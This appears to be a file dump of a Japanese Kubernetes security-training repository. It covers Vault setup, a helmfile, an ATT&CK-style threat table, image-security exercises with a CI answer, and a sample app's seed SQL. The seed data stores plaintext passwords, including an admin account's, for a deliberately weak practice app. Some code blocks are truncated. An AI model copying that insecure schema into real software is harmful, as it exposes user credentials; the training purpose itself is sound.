2. Vault KV v2エンジンの確認と設定 12 | ```bash 13 | # 既存のsecret engineを確認 14 | vault secrets list 15 | 16 | # 開発モードでは secret/ パスに KV v2 が既に有効になっている場合があります 17 | # もし secret/ が存在しない場合のみ、以下のコマンドを実行: 18 | # vault secrets enable -path=secret kv-v2 19 | 20 | # シークレットの作成テスト 21 | vault kv put secret/myapp/config \ 22 | database-password="super-secret-password" \ 23 | api-key="abc123def456" 24 | 25 | # 作成したシークレットを確認 26 | vault kv get secret/myapp/config 27 | ``` 28 | 29 | ## 3. Vault用のポリシー作成 30 | ```bash 31 | # External Secrets Operator用のポリシー作成 32 | vault policy write external-secrets-policy - <ヒント: VAPの実装例 26 | 27 | `app` キーのラベルを持たない Pod の作成を拒否するVAP ポリシーを適用。 28 | 29 | ```bash 30 | kubectl apply -f - < 150 | -------------------------------------------------------------------------------- /00_setup/k8s/helm/helmfile.yaml: -------------------------------------------------------------------------------- 1 | repositories: 2 | - name: cilium 3 | url: https://helm.cilium.io 4 | - name: ingress-nginx 5 | url: https://kubernetes.github.io/ingress-nginx 6 | - name: metrics-server 7 | url: https://kubernetes-sigs.github.io/metrics-server/ 8 | - name: gitlab 9 | url: https://charts.gitlab.io/ 10 | - name: argo 11 | url: https://argoproj.github.io/argo-helm 12 | - name: harbor 13 | url: https://helm.goharbor.io 14 | - name: jetstack 15 | url: https://charts.jetstack.io 16 | - name: grafana 17 | url: https://grafana.github.io/helm-charts 18 | - name: open-telemetry 19 | url: https://open-telemetry.github.io/opentelemetry-helm-charts 20 | # - name: hashicorp 21 | # url: https://helm.releases.hashicorp.com 22 | # - name: external-secrets 23 | # url: https://charts.external-secrets.io 24 | 25 | releases: 26 | - name: cilium 27 | namespace: kube-system 28 | chart: cilium/cilium 29 | version: 1.17.6 30 | labels: 31 | app: cilium 32 | values: 33 | - values/cilium.values.yaml 34 | 35 | - name: ingress-nginx 36 | namespace: ingress-nginx 37 | chart: ingress-nginx/ingress-nginx 38 | version: 4.10.1 39 | labels: 40 | app: ingress-nginx 41 | values: 42 | - values/ingress-nginx.values.yaml 43 | needs: 44 | - kube-system/cilium 45 | 46 | - name: metrics-server 47 | namespace: kube-system 48 | chart: metrics-server/metrics-server 49 | version: 3.13.0 50 | labels: 51 | app: metrics-server 52 | values: 53 | - values/metrics-server.values.yaml 54 | needs: 55 | - kube-system/cilium 56 | 57 | - name: tetragon 58 | namespace: kube-system 59 | chart: cilium/tetragon 60 | version: 1.4.1 61 | labels: 62 | app: tetragon 63 | values: 64 | - values/tetragon.values.yaml 65 | needs: 66 | - kube-system/cilium 67 | 68 | - name: argocd 69 | namespace: argocd 70 | chart: argo/argo-cd 71 | version: 8.1.4 72 | labels: 73 | app: argocd 74 | values: 75 | - values/argocd.values.yaml 76 | needs: 77 | - kube-system/cilium 78 | 79 | - name: gitlab 80 | namespace: gitlab 81 | chart: gitlab/gitlab 82 | version: 9.2.0 83 | labels: 84 | app: gitlab 85 | values: 86 | - values/gitlab.values.yaml 87 | needs: 88 | - kube-system/cilium 89 | 90 | - name: harbor 91 | namespace: harbor 92 | chart: harbor/harbor 93 | version: 1.17.1 94 | labels: 95 | app: harbor 96 | values: 97 | - values/harbor.values.yaml 98 | needs: 99 | - kube-system/cilium 100 | 101 | - name: cert-manager 102 | namespace: cert-manager 103 | chart: jetstack/cert-manager 104 | version: v1.18.2 105 | labels: 106 | app: cert-manager 107 | values: 108 | - values/cert-manager.values.yaml 109 | needs: 110 | - kube-system/cilium 111 | 112 | - name: grafana 113 | namespace: monitoring 114 | chart: grafana/grafana 115 | version: 9.2.10 116 | labels: 117 | app: grafana 118 | values: 119 | - values/grafana.values.yaml 120 | needs: 121 | - kube-system/cilium 122 | 123 | - name: loki 124 | namespace: monitoring 125 | chart: grafana/loki 126 | version: 6.32.0 127 | labels: 128 | app: loki 129 | values: 130 | - values/loki.values.yaml 131 | needs: 132 | - kube-system/cilium 133 | 134 | - name: k8s-event-exporter 135 | namespace: monitoring 136 | chart: open-telemetry/opentelemetry-collector 137 | version: 0.128.0 138 | labels: 139 | app: k8s-event-exporter 140 | values: 141 | - values/k8s-event-exporter.values.yaml 142 | needs: 143 | - kube-system/cilium 144 | 145 | # - name: openclarity 146 | # namespace: openclarity 147 | # chart: oci://ghcr.io/openclarity/charts/openclarity 148 | # version: 1.1.3 149 | # labels: 150 | # app: openclarity 151 | # values: 152 | # - values/openclarity.values.yaml 153 | # needs: 154 | # - kube-system/cilium 155 | 156 | - name: promtail 157 | namespace: monitoring 158 | chart: grafana/promtail 159 | version: 6.17.0 160 | labels: 161 | app: promtail 162 | values: 163 | - values/promtail.values.yaml 164 | needs: 165 | - kube-system/cilium 166 | 167 | # - name: vault 168 | # namespace: vault 169 | # chart: hashicorp/vault 170 | # version: 0.30.1 171 | # labels: 172 | # app: vault 173 | # values: 174 | # - values/vault.values.yaml 175 | # needs: 176 | # - kube-system/cilium 177 | 178 | # - name: external-secrets 179 | # namespace: external-secrets-system 180 | # chart: external-secrets/external-secrets 181 | # version: 0.19.1 182 | # labels: 183 | # app: external-secrets 184 | # values: 185 | # - values/external-secrets.values.yaml 186 | # needs: 187 | # - kube-system/cilium 188 | # - vault/vault 189 | -------------------------------------------------------------------------------- /03_security_assessment/threat_lits.md: -------------------------------------------------------------------------------- 1 | # 参考: クラウドネイティブ環境の脅威と対策 2 | 3 | | レイヤー | 脅威 | 攻撃テクニック | セキュリティ対策 | 4 | | :--- | :--- | :--- | :--- | 5 | | **Reconnaissance (偵察)** | Active Scanning | ポートスキャナーを使い、公開されているポートからアプリケーションやKubernetesコンポーネント、コンテナAPIなどを探索する。 | アプリケーション、Kubernetesクラスタ、VMへのネットワークアクセスを制限する。WAF(Web Application Firewall)で悪意のあるトラフィックを検知・遮断する。 | 6 | | | Search Open Websites/Domains | 公開されたコードリポジトリから、誤って保存された認証情報などを探索する。 | Vaultなどのツールを利用して機密情報を保護し、コードリポジトリへの漏洩を防止する。 | 7 | | **Initial Access (初期アクセス)** | Exploit Public-Facing Application | アプリケーションやクラスタコンポーネント、外部サービスの脆弱性を悪用して侵入する。 | SAST/DAST、SCA、コンテナイメージスキャンによる脆弱性検出。クラスタコンポーネントの迅速なアップデート。コンテナレジストリやコードリポジトリのアクセス制限を適切に行う。 | 8 | | | External Remote Services | 誤設定により公開されたコンテナAPIやKubernetesクラスタコンポーネント、VMの公開ポートを通じて不正アクセスする。 | ネットワークポリシーによるアクセス制限。コンテナ専用OSの利用。定期的なクラスタ状態の診断。 | 9 | | | Supply Chain Compromise | 依存ライブラリやコンテナイメージ、マニフェストファイルに悪意のあるコードを埋め込み、サプライチェーンを侵害して侵入する。 | SBOMを活用した依存関係の管理と脆弱性検出。コンテナイメージの署名と検証。Admission Controlによるデプロイの制限。 | 10 | | | Valid Accounts | 漏洩したアプリケーションやKubernetesクラスタの正規認証情報を悪用して侵入する。 | ネットワークアクセス制限。監査ログによる異常なアクセスの検知。 | 11 | | **Execution (実行)** | Container Administration Command | DockerやKubernetesの管理コマンドを悪用し、コンテナ内で悪意のあるコードを実行する。 | ユーザーに付与する権限を最小限に制限する。 | 12 | | | Deploy Container / Schedule Task/Job | 攻撃ツールを含むコンテナや、悪意のあるコードを実行するCronJobをデプロイする。 | Admission Controlによるポリシー違反のコンテナ作成禁止。コンテナイメージの署名と検証。 | 13 | | | User Execution | 悪意のあるコードが埋め込まれたコンテナイメージを利用者に実行させる。 | コンテナイメージの署名と検証を行う。 | 14 | | **Persistence (永続化)** | Account Manipulation / Create Account | 盗んだ認証情報でアカウントを不正操作し、アクセスを維持する。または、新規ユーザーを作成する。 | 権限の最小化。Kubernetesの監査ログによる異常なアクティビティの検知。 | 15 | | | Create or Modify System Process / Schedule Task/Job | DaemonsetやCronJobを利用して、悪意のあるコンテナをデプロイし、実行を永続化する。 | Admission Controlによるポリシー違反のコンテナ作成禁止。コンテナイメージの署名と検証。監査ログによる異常なアクティビティの検知。 | 16 | | | External Remote Services | 侵害したコンテナから外部の悪意のあるサーバーに接続し、コマンド受信やデータ窃取を行う。 | CNIプラグインのネットワークポリシーで外部への通信を制限する。 | 17 | | | Implant Internal Image | コンテナイメージに悪意のあるコードを埋め込み、アクセスの永続性を確保する。 | コンテナイメージの署名と検証を行う。 | 18 | | | Valid Accounts | 盗んだ正規の認証情報を悪用し、バックドアアカウント作成や悪意のあるコンテナをデプロイすることで永続性を確保する。 | ネットワークアクセス制限と監査ログによる異常なアクセスの検知。 | 19 | | **Privilege Escalation (権限昇格)** | Account Manipulation / Exploitation for Privilege Escalation | 盗んだ認証情報でロールを変更したり、過剰な権限を持つサービスアカウントを悪用して権限を昇格させる。 | 権限の最小化。Kubernetesの監査ログによる異常なアクティビティの検知。定期的なクラスタ状態のスキャン。 | 20 | | | Create or Modify System Process | コンテナ内の脆弱性を悪用してrootユーザーに昇格する。 | クラスタ内のコンテナの脆弱性管理。ランタイムセキュリティツールによるシステムコールの監視。 | 21 | | | Escape to Host | hostPathや特権コンテナ、コンテナランタイムの脆弱性を悪用して、コンテナからホストへ脱出する。 | Admission Controlによるポリシー違反のコンテナ作成禁止。gvisorなどの分離レベルが高いランタイムの導入。seccomp/Apparmorによる強制アクセス制御。コンテナ専用OSの利用。 | 22 | | | Valid Accounts | 侵入したコンテナのサービスアカウント権限を悪用し、クラスタロールを作成または取得して権限を昇格させる。 | 権限の最小化。ネットワークアクセス制限。監査ログによる異常なアクティビティの検知。 | 23 | | **Defense Evasion (防御回避)** | Build Image on Host | ホスト上で悪意のあるコンテナイメージをビルドし、イメージ署名検証を回避する。 | ホストの監査ログやネットワークトラフィックの監視で異常なアクティビティを検知する。 | 24 | | | Deploy Container / Impair Defenses / Indicator Removal | 脆弱なコンテナの作成、監視システムの無効化、ログの削除により防御策を回避する。 | 権限の最小化。Admission Controlによるポリシー違反のコンテナ作成禁止。コンテナイメージの署名と検証。外部ログ管理システムによるログ保護。監査ログによる異常なアクティビティの検知。 | 25 | | | Obfuscated Files or Information / Masquerading | 悪意のあるコードを難読化したり、正規のアカウントやプロセスに偽装したりして検知を回避する。 | ランタイムセキュリティツールによるシステムコールの監視で、異常なアクティビティを検知する。 | 26 | | | Use Alternate Authentication Material / Valid Accounts / Subvert Trust Controls | 代替認証情報や正規の認証情報を悪用したり、改ざんによって認証を回避したりして、セキュリティツールによる検知を免れる。 | Kubernetesクラスタへのネットワークアクセス制限。監査ログによる不審なアクティビティの検知。ランタイムセキュリティツールによるシステムコールの監視。 | 27 | | **Credential Access (認証情報へのアクセス)** | Brute Force | 総当たり攻撃で認証を突破する。 | WAFによる悪意のあるトラフィックの検知。監査ログやアクセスログによる多数のログイン試行の検知。 | 28 | | | Steal Application Access Token | 外部サービスの認証情報やコンテナに付与されたサービスアカウントトークンを窃取する。 | 権限の最小化。Kubernetesやクラウドの監査ログによる異常なアクティビティの検知。 | 29 | | | Unsecured Credentials | Kubernetesやコンテナ内のローカルファイルに保存された機密情報を窃取する。 | 権限の最小化。Vaultなどのツールで機密情報を保護する。Distrolessコンテナの利用や、seccomp/Apparmorによる強制アクセス制御。 | 30 | | **Discovery (探索)** | Container and Resource Discovery | Kubernetes APIを悪用し、他のリソース(PodやSecretなど)の情報を収集する。 | Kubernetesの監査ログで異常なアクティビティを検知する。 | 31 | | | Network Service Discovery | 侵入したコンテナからクラスタ内のネットワークスキャンを行う。 | CNIプラグインのネットワークポリシーでアクセスを制限する。 | 32 | | | Permission Groups Discovery | kubectl auth can-iなどの管理コマンドを使い、特権を持つアカウントを調査する。 | 監査ログで異常なアクティビティを検知する。 | 33 | | **Lateral Movement (水平展開)** | Use Alternate Authentication Material | 盗んだ代替認証情報を悪用し、他のアカウントやサービスに侵入する。 | ユーザーやPodに付与する外部サービスの権限を最小限に制限する。クラウドの監査ログで異常なアクティビティを検知する。 | 34 | | | Lateral Tool Transfer | 侵入したコンテナから、別のコンテナやノードに攻撃ツールを転送する。 | CNIプラグインのネットワークポリシーでアクセスを制限する。ランタイムセキュリティツールで異常なアクティビティを検知する。 | 35 | | **Collection (情報収集)** | Data from Cloud Storage | 認証情報を窃取し、クラウドストレージから機密情報を収集する。 | クラウドの監査ログで異常なアクティビティを検知する。データの暗号化。ネットワークアクセス制限。 | 36 | | | Data from Information Repositories | 盗んだ資格情報を悪用し、コードリポジトリやコンテナレジストリから機密情報を収集する。 | 権限の最小化。機密情報の保護。ネットワークアクセス制限。監査ログによる異常なアクティビティの検知。 | 37 | | | Data from Configuration Repository | サービスアカウントを悪用し、KubernetesクラスタからSecretなどの機密情報を収集する。または、コンテナからホストへ侵入し、kubeletの資格情報などを悪用して情報を取得する。 | 権限の最小化。Vaultなどのツールで機密情報を保護。Kubernetesの監査ログによる異常なアクティビティの検知。etcdの適切なセキュリティ設定。分離レベルの高いランタイムの導入。強制アクセス制御。コンテナ専用OSの利用。 | 38 | | **Command and Control (C2)** | Proxy | 侵害したコンテナをプロキシ化し、外部との通信を中継する。 | ネットワーク監視ツールでEgress通信を監視する。強制アクセス制御やランタイムセキュリティツールによるシステムコールの監視。 | 39 | | **Exfiltration (データ持ち出し)** | Exfiltration Over Alternative Protocol | DNSクエリなど、別のプロトコルを利用してデータを外部に流出させる。 | ランタイムセキュリティツールによるシステムコールの監視。強制アクセス制御。ネットワーク監視ツールによる異常なアクティビティの検知。 | 40 | | | Transfer Data to Cloud Account | ログやバックアップの転送先を、攻撃者が保有するアカウントに変更する。 | クラウドの監査ログで異常なアクティビティを検知する。 | 41 | | **Impact (影響)** | Data Destruction | DBやストレージのデータを削除する。 | 外部ストレージサービスでバックアップデータを管理する。 | 42 | | | Endpoint Denial of Service | DoS攻撃でリソースを枯渇させたり、リソースを削除したりしてサービスを妨害する。 | WAFで悪意のあるトラフィックを検知・遮断。Resource Quotaでリソース利用を制限。SAST/DASTで脆弱性を検出。権限の最小化。監査ログによる異常なアクティビティの検知。データのバックアップ。 | 43 | | | Network Denial of Service | DDoS攻撃でネットワーク帯域を飽和させ、通信を遮断する。 | Ingress controllerのrate limit機能などで、悪意のあるトラフィックを検知・遮断する。 | 44 | | | Inhibit System Recovery | バックアップデータや永続データを削除し、システム復旧を妨害する。 | 外部サービスを利用してバックアップデータを管理する。 | 45 | -------------------------------------------------------------------------------- /04_hardening/trainings/image_security.md: -------------------------------------------------------------------------------- 1 | # イメージセキュリティ 2 | 3 | ## 課題1: コンテナイメージの脆弱性調査と修正 4 | 5 | 現在使用されているコンテナイメージには、既知の脆弱性が含まれている可能性があります。 6 | 7 | ### ステップ 8 | 1. アプリケーション(frontend, backend, db)のコンテナイメージの脆弱性スキャンを実施してください 9 | 2. ベースイメージのバージョンアップによって解決できる脆弱性を修正してください 10 | 3. DBイメージの脆弱性を解消する方法を検討してください 11 | 4. 修正前後での脆弱性数を比較してください 12 | 5. アプリケーションが修正後のイメージで正常に動作することを確認してください 13 | 14 | ## 課題2: Distrolessイメージへの移行 15 | 16 | 現在のイメージには不要なパッケージやツールが含まれており、攻撃対象領域が大きくなっています。 17 | 18 | ### ステップ 19 | 1. アプリケーションをDistrolessベースイメージに移行してください 20 | 2. 移行前後でのイメージサイズと脆弱性数の変化を比較してください 21 | 3. アプリケーションが修正後のイメージで正常に動作することを確認してください 22 | 23 | ## 課題3: CIでの自動脆弱性スキャン 24 | 25 | 開発サイクルの中で継続的にセキュリティを確保するため、CI/CDパイプラインに脆弱性スキャンを組み込む必要があります。 26 | 27 | ### ステップ 28 | 1. CIパイプラインにTrivyによる脆弱性スキャンを組み込んでください 29 | 2. スキャン結果のレポートを後から見れるように出力してください 30 | 3. **[発展]** 脆弱性が検出された場合のビルド失敗条件を検討してください 31 | 32 | ## 課題4: イメージ署名と検証の実装 33 | 34 | コンテナイメージの改ざんや不正なイメージの実行を防ぐため、イメージ署名と検証機能を導入する必要があります。 35 | 36 | ### ステップ 37 | 1. Cosignを使用してCIパイプラインでコンテナイメージに署名してください 38 | 2. Harbor レジストリで署名のないイメージのプルを禁止する設定を行ってください 39 | 3. **[発展]** 署名キーの管理を検討してください 40 | 41 |
解答例: CIパイプラインでの脆弱性スキャン・イメージ署名の実装 42 | 43 | ```yaml 44 | stages: 45 | - build 46 | - security-scan 47 | - push 48 | - sign 49 | 50 | variables: 51 | HARBOR_REGISTRY: harbor.seccamp.com 52 | HARBOR_PROJECT: seccamp2025 53 | IMAGE_NAME: $HARBOR_REGISTRY/$HARBOR_PROJECT/seccamp-backend 54 | DOCKER_CONFIG: /kaniko/.docker/ 55 | 56 | build-image: 57 | stage: build 58 | image: 59 | name: gcr.io/kaniko-project/executor:debug 60 | script: 61 | - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --tarPath image.tar --no-push --ignore-path /product_uuid 62 | artifacts: 63 | paths: 64 | - image.tar 65 | expire_in: 2 hours 66 | only: 67 | - main 68 | 69 | build-image-tag: 70 | stage: build 71 | image: 72 | name: gcr.io/kaniko-project/executor:debug 73 | script: 74 | - /kaniko/executor --context $CI_PROJECT_DIR --dockerfile $CI_PROJECT_DIR/Dockerfile --tarPath image.tar --no-push --ignore-path /product_uuid 75 | artifacts: 76 | paths: 77 | - image.tar 78 | expire_in: 2 hours 79 | only: 80 | - tags 81 | 82 | trivy-scan: 83 | stage: security-scan 84 | image: 85 | name: aquasec/trivy:latest 86 | entrypoint: [""] 87 | script: 88 | - trivy image --exit-code 0 --format table --input image.tar 89 | # 重要度HIGH以上の脆弱性でCI/CDを失敗させる(本格運用時は有効化) 90 | # - trivy image --exit-code 1 --severity HIGH,CRITICAL --input image.tar 91 | - trivy image --format json --output trivy-report.json --input image.tar 92 | artifacts: 93 | reports: 94 | container_scanning: trivy-report.json 95 | paths: 96 | - trivy-report.json 97 | expire_in: 1 week 98 | rules: 99 | - if: $CI_COMMIT_REF_NAME == "main" 100 | needs: ["build-image"] 101 | - if: $CI_COMMIT_TAG 102 | needs: ["build-image-tag"] 103 | 104 | push-image: 105 | stage: push 106 | image: 107 | name: quay.io/skopeo/stable:latest 108 | entrypoint: [""] 109 | script: 110 | - | 111 | cat > /tmp/auth.json < /tmp/auth.json < 207 | 208 | ## 課題5: 実行環境のイメージ脆弱性管理 209 | 210 | Openclarity を使い、実行環境で実際に動作しているコンテナのイメージ脆弱性を確認してみましょう。 211 | 212 | ### ステップ 213 | 1. helmfileのコメントアウトを外し、Openclarity をhelmfileでインストールします 214 | 2. ブラウザから Openclarity のWeb UIにアクセスし、イメージ脆弱性のスキャンを実施します 215 | 216 | ```bash 217 | cd /root/helm 218 | helmfile sync --selector app=openclarity 219 | 220 | # ブラウザからアクセス 221 | https://openclarity.seccamp.com:8082 222 | ``` 223 | -------------------------------------------------------------------------------- /app/db/init-english.sql: -------------------------------------------------------------------------------- 1 | USE seccamp2025; 2 | 3 | -- MariaDB initialization SQL 4 | -- User information table 5 | CREATE TABLE IF NOT EXISTS users ( 6 | id INT AUTO_INCREMENT PRIMARY KEY, 7 | username VARCHAR(64) UNIQUE NOT NULL, 8 | full_name VARCHAR(128), 9 | password VARCHAR(256) NOT NULL, 10 | is_admin BOOLEAN DEFAULT FALSE 11 | ); 12 | 13 | -- Learning content information table 14 | CREATE TABLE IF NOT EXISTS courses ( 15 | id INT AUTO_INCREMENT PRIMARY KEY, 16 | title VARCHAR(128) NOT NULL, 17 | description TEXT 18 | ); 19 | 20 | -- Learning progress table (with composite unique constraint) 21 | CREATE TABLE IF NOT EXISTS progress ( 22 | id INT AUTO_INCREMENT PRIMARY KEY, 23 | user_id INT NOT NULL, 24 | course_id INT NOT NULL, 25 | percent INT DEFAULT 0, 26 | updated_at DATETIME, 27 | FOREIGN KEY (user_id) REFERENCES users(id), 28 | FOREIGN KEY (course_id) REFERENCES courses(id), 29 | UNIQUE KEY user_course_unique (user_id, course_id) 30 | ); 31 | 32 | -- Sample data insertion SQL 33 | -- User sample data 34 | INSERT INTO users (username, full_name, password, is_admin) VALUES 35 | ('sato', 'Taro Sato', 'pass1', FALSE), 36 | ('suzuki', 'Hanako Suzuki', 'pass2', FALSE), 37 | ('takahashi', 'Kenichi Takahashi', 'pass3', FALSE), 38 | ('tanaka', 'Yumi Tanaka', 'pass4', FALSE), 39 | ('watanabe', 'Shota Watanabe', 'pass5', FALSE), 40 | ('ito', 'Misaki Ito', 'pass6', FALSE), 41 | ('yamamoto', 'Yuto Yamamoto', 'pass7', FALSE), 42 | ('nakamura', 'Ayaka Nakamura', 'pass8', FALSE), 43 | ('kobayashi', 'Naoto Kobayashi', 'pass9', FALSE), 44 | ('kato', 'Emi Kato', 'pass10', FALSE), 45 | ('yoshida', 'Takumi Yoshida', 'pass11', FALSE), 46 | ('yamada', 'Saori Yamada', 'pass12', FALSE), 47 | ('sasaki', 'Ryosuke Sasaki', 'pass13', FALSE), 48 | ('yamaguchi', 'Mayumi Yamaguchi', 'pass14', FALSE), 49 | ('matsumoto', 'Tomoya Matsumoto', 'pass15', FALSE), 50 | ('inoue', 'Chihiro Inoue', 'pass16', FALSE), 51 | ('kimura', 'Daisuke Kimura', 'pass17', FALSE), 52 | ('hayashi', 'Miwa Hayashi', 'pass18', FALSE), 53 | ('shimizu', 'Kazuya Shimizu', 'pass19', FALSE), 54 | ('saito', 'Kaori Saito', 'pass20', FALSE), 55 | ('admin', 'Administrator', 'adminpass', TRUE); 56 | 57 | -- Course sample data 58 | INSERT INTO courses (title, description) VALUES 59 | -- Basic/Introduction Courses (1-10) 60 | ('Python Introduction', 'Learn the basics of Python programming'), 61 | ('Kubernetes Fundamentals', 'Learn the fundamentals of Kubernetes'), 62 | ('Go Language Introduction', 'Learn the basics of Go programming language'), 63 | ('React Introduction', 'Learn the basics of React development'), 64 | ('Security Fundamentals', 'Learn the fundamentals of cybersecurity'), 65 | ('Linux Introduction', 'Learn the basics of Linux operating system'), 66 | ('Cloud Fundamentals', 'Learn the fundamentals of cloud technologies'), 67 | ('Network Fundamentals', 'Learn the basics of computer networking'), 68 | ('Docker Introduction', 'Learn the basics of Docker containerization'), 69 | ('CI/CD Introduction', 'Learn the basics of Continuous Integration and Deployment'), 70 | 71 | -- Intermediate Courses (11-20) 72 | ('Python Web Development', 'Build web applications using Django and Flask'), 73 | ('Kubernetes Operations', 'Advanced Kubernetes cluster management and operations'), 74 | ('Go Microservices', 'Build scalable microservices with Go'), 75 | ('React State Management', 'Advanced React patterns with Redux and Context API'), 76 | ('Penetration Testing', 'Learn ethical hacking and vulnerability assessment'), 77 | ('Linux System Administration', 'Advanced Linux server management and automation'), 78 | ('AWS Cloud Architecture', 'Design and implement AWS cloud solutions'), 79 | ('Network Security', 'Implement network security measures and protocols'), 80 | ('Docker Orchestration', 'Container orchestration with Docker Swarm'), 81 | ('DevOps Pipeline Design', 'Design and implement comprehensive DevOps pipelines'), 82 | 83 | -- Advanced Courses (21-30) 84 | ('Python Machine Learning', 'Advanced ML algorithms and data science with Python'), 85 | ('Kubernetes Security', 'Advanced security practices for Kubernetes clusters'), 86 | ('Go Performance Optimization', 'High-performance Go applications and profiling'), 87 | ('React Native Development', 'Cross-platform mobile development with React Native'), 88 | ('Advanced Threat Hunting', 'Advanced cybersecurity threat detection and analysis'), 89 | ('Linux Kernel Development', 'Understanding and modifying the Linux kernel'), 90 | ('Multi-Cloud Architecture', 'Design solutions across multiple cloud providers'), 91 | ('Network Protocol Analysis', 'Deep dive into network protocols and traffic analysis'), 92 | ('Kubernetes Custom Resources', 'Develop custom controllers and operators'), 93 | ('Infrastructure as Code', 'Advanced Terraform and infrastructure automation'), 94 | 95 | -- Expert/Specialized Courses (31-35) 96 | ('AI/ML System Design', 'Design and deploy production ML systems at scale'), 97 | ('Cloud Native Security', 'Comprehensive security for cloud-native applications'), 98 | ('Distributed Systems Architecture', 'Design highly scalable distributed systems'), 99 | ('Blockchain Development', 'Smart contract development and DeFi applications'), 100 | ('Quantum Computing Fundamentals', 'Introduction to quantum algorithms and computing'); 101 | 102 | -- Learning progress sample data (expanded with advanced courses) 103 | INSERT INTO progress (user_id, course_id, percent, updated_at) VALUES 104 | -- Basic users starting with fundamentals 105 | (1, 1, 50, NOW()), (1, 2, 0, NOW()), (1, 3, 100, NOW()), 106 | (2, 1, 80, NOW()), (2, 2, 20, NOW()), (2, 3, 0, NOW()), 107 | (3, 1, 0, NOW()), (3, 2, 0, NOW()), (3, 3, 0, NOW()), 108 | 109 | -- Advanced users with multiple completed courses 110 | (4, 1, 100, NOW()), (4, 2, 100, NOW()), (4, 3, 100, NOW()), 111 | (4, 11, 75, NOW()), (4, 12, 50, NOW()), (4, 21, 25, NOW()), 112 | 113 | -- Intermediate users progressing through different paths 114 | (5, 1, 10, NOW()), (5, 2, 30, NOW()), (5, 3, 60, NOW()), 115 | (6, 5, 100, NOW()), (6, 15, 80, NOW()), (6, 25, 40, NOW()), 116 | (7, 6, 100, NOW()), (7, 16, 60, NOW()), (7, 26, 20, NOW()), 117 | (8, 7, 100, NOW()), (8, 17, 90, NOW()), (8, 27, 70, NOW()), 118 | 119 | -- DevOps focused learning path 120 | (9, 9, 100, NOW()), (9, 10, 100, NOW()), (9, 19, 85, NOW()), 121 | (9, 20, 65, NOW()), (9, 29, 45, NOW()), (9, 30, 25, NOW()), 122 | 123 | -- Security focused learning path 124 | (10, 5, 100, NOW()), (10, 15, 100, NOW()), (10, 25, 90, NOW()), 125 | (10, 18, 75, NOW()), (10, 32, 50, NOW()), 126 | 127 | -- Full-stack development path 128 | (11, 1, 100, NOW()), (11, 4, 100, NOW()), (11, 11, 80, NOW()), 129 | (11, 14, 60, NOW()), (11, 24, 40, NOW()), 130 | 131 | -- Cloud architecture specialists 132 | (12, 7, 100, NOW()), (12, 17, 100, NOW()), (12, 27, 85, NOW()), 133 | (12, 30, 70, NOW()), (12, 32, 30, NOW()), 134 | 135 | -- Machine Learning enthusiasts 136 | (13, 1, 100, NOW()), (13, 21, 90, NOW()), (13, 31, 60, NOW()), 137 | 138 | -- Emerging technology explorers 139 | (14, 34, 80, NOW()), (14, 35, 40, NOW()), 140 | 141 | -- Comprehensive learners 142 | (15, 1, 100, NOW()), (15, 5, 100, NOW()), (15, 7, 100, NOW()), 143 | (15, 11, 90, NOW()), (15, 15, 80, NOW()), (15, 17, 70, NOW()), 144 | (15, 21, 60, NOW()), (15, 25, 50, NOW()), (15, 27, 40, NOW()); 145 | -------------------------------------------------------------------------------- /01_scenario/README.md: -------------------------------------------------------------------------------- 1 | # 1章 シナリオ説明 2 | 3 | - [1章 シナリオ説明](#1章-シナリオ説明) 4 | - [1. シナリオ概要](#1-シナリオ概要) 5 | - [2. 無敗塾の現在の状況](#2-無敗塾の現在の状況) 6 | - [2.1 事業の成長と課題](#21-事業の成長と課題) 7 | - [2.2 システムアーキテクチャ](#22-システムアーキテクチャ) 8 | - [2.3 アプリケーション機能](#23-アプリケーション機能) 9 | - [2.4 セキュリティ上の重要データ](#24-セキュリティ上の重要データ) 10 | - [個人情報](#個人情報) 11 | - [認証・認可情報](#認証認可情報) 12 | - [ビジネス機密情報](#ビジネス機密情報) 13 | - [将来的に扱う予定の法人データ](#将来的に扱う予定の法人データ) 14 | - [2.5 技術スタック](#25-技術スタック) 15 | - [2.6 現在のセキュリティ成熟度](#26-現在のセキュリティ成熟度) 16 | - [3. インフラエンジニアとしての役割](#3-インフラエンジニアとしての役割) 17 | - [3.1 引き継ぎ状況と前任者のメモ](#31-引き継ぎ状況と前任者のメモ) 18 | - [4. 組織・チーム体制](#4-組織チーム体制) 19 | - [5. 演習環境の説明](#5-演習環境の説明) 20 | - [5.1 提供される環境](#51-提供される環境) 21 | - [5.2 アクセス情報](#52-アクセス情報) 22 | - [5.3 前任者からの引き継ぎドキュメント](#53-前任者からの引き継ぎドキュメント) 23 | - [5.4 トラブルシューティング](#54-トラブルシューティング) 24 | - [次のステップ](#次のステップ) 25 | 26 | ## 1. シナリオ概要 27 | 28 | 皆さんは、株式会社無敗塾(Muhai Juku Inc.)のITインフラ管理部門に新たに配属されたインフラエンジニアです。無敗塾は、学生向けオンライン学習サービス「無敗塾」を主力事業として急成長中のEdTechスタートアップです。 29 | 30 | **近年、法人顧客からの引き合いが増加しており、「無敗ラーニング」という法人向けサービスの展開も計画されています。** しかし、法人顧客からは厳格なセキュリティ要件を求められており、現在の「無敗塾」のセキュリティ体制では対応が困難な状況です。 31 | 32 | 前任のインフラエンジニアが退職することになり、現在はドキュメントベースでの引き継ぎが行われています。経営陣からは「**法人展開に向けて、まずは主力サービスの無敗塾のセキュリティを確実に強化してほしい**」という指示が出ています。 33 | 34 | ITインフラの中心にはKubernetesクラスタがあり、「無敗塾」アプリケーションが稼働していますが、これまでは機能実装とスピードを優先してきたため、**セキュリティ対策が後回しになっている**状況です。 35 | 36 | 皆さんのミッションは、限られた時間とリソースの中で、法人展開に耐えうるセキュリティレベルを実現することです。 37 | 38 | ## 2. 無敗塾の現在の状況 39 | 40 | ### 2.1 事業の成長と課題 41 | 42 | 無敗塾は急速な成長を遂げている学習プラットフォームです。 43 | 44 | **無敗塾(学生向け主力サービス)**: 45 | - 創業時からの主力サービス 46 | - 学習管理システム、進捗追跡、成績評価機能 47 | - ユーザー数: 約5万人 48 | - 現在もユーザー数が急増中 49 | 50 | **将来計画**: 51 | - **無敗ラーニング(法人向けサービス)**: 来年度の展開を予定 52 | - 法人顧客からの強い要望があり、大きなビジネスチャンス 53 | - ただし、法人顧客は厳格なセキュリティ要件を要求 54 | 55 | **経営陣からのメッセージ**: 56 | > 「無敗ラーニングの法人展開は当社の成長戦略の要です。法人顧客は個人向けよりも高いセキュリティレベルを期待しています。現在のプラットフォームでは技術的な不安要素が多すぎます。まず無敗塾の**技術基盤を確実に強化**してください。」 57 | 58 | ### 2.2 システムアーキテクチャ 59 | ``` 60 | 